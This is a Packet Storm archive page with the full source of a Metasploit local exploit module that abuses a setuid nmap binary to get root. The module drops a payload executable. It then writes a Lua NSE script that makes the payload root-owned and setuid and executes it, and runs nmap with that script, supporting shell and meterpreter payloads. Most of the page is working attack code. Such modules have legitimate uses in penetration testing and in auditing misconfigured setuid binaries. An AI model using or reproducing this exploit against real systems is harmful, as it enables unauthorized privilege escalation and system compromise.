exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Setuid Nmap Exploit

Setuid Nmap Exploit
Posted Jul 19, 2012
Authored by egypt | Site metasploit.com

Nmap's man page mentions that "Nmap should never be installed with special privileges (e.g. suid root) for security reasons.." and specifically avoids making any of its binaries setuid during installation. Nevertheless, administrators sometimes feel the need to do insecure things. This Metasploit module abuses a setuid nmap binary by writing out a lua nse script containing a call to os.execute(). Note that modern interpreters will refuse to run scripts on the command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby} payloads will most likely not work.

tags | exploit, root, perl, ruby
systems | unix
SHA-256 | 36e5626623975013ad17de674718bb242f7551a7c65755515d9aab44a7aa57ea

Setuid Nmap Exploit

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'


class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common

def initialize(info={})
super( update_info( info, {
'Name' => 'setuid nmap "exploit"',
'Description' => %q{
Nmap's man page mentions that "Nmap should never be installed with
special privileges (e.g. suid root) for security reasons.." and
specifically avoids making any of its binaries setuid during
installation. Nevertheless, administrators sometimes feel the need
to do insecure things. This module abuses a setuid nmap binary by
writing out a lua nse script containing a call to os.execute().

Note that modern interpreters will refuse to run scripts on the
command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
payloads will most likely not work.
},
'License' => MSF_LICENSE,
'Author' => [ 'egypt' ],
'Platform' => [ 'unix', 'linux', 'bsd' ],
'Arch' => [ ARCH_CMD, ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Command payload', { 'Arch' => ARCH_CMD } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'BSD x86', { 'Arch' => ARCH_X86 } ],
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0,
}
))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Nmap", [ true, "Path to setuid nmap executable", "/usr/bin/nmap" ]),
], self.class)
end

def check
stat = session.fs.file.stat(datastore["Nmap"])
if stat and stat.file? and stat.setuid?
print_good("#{stat.prettymode} #{datastore["Nmap"]}")
return CheckCode::Vulnerable
end
return CheckCode::Safe
end

def exploit
if (target.arch.include? ARCH_CMD)
p = payload.encoded.gsub(/([$"])/) {|m| "\\#{$1}" }
evil_lua = %Q{ os.execute("#{p} &") }
else
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.elf"
print_status("Dropping executable #{exe_file}")
write_file(exe_file, generate_payload_exe)
evil_lua = %Q{
os.execute("chown root:root #{exe_file}");
os.execute("chmod 6777 #{exe_file}");
os.execute("#{exe_file} &");
os.execute("rm #{exe_file}");
}
end
lua_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.nse"
print_status("Dropping lua #{lua_file}")
write_file(lua_file, evil_lua)

print_status("running")

begin
cmd_exec "#{datastore["Nmap"]} --script #{lua_file}"
ensure
cmd_exec "rm -f #{lua_file} #{exe_file}"
end

end
end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close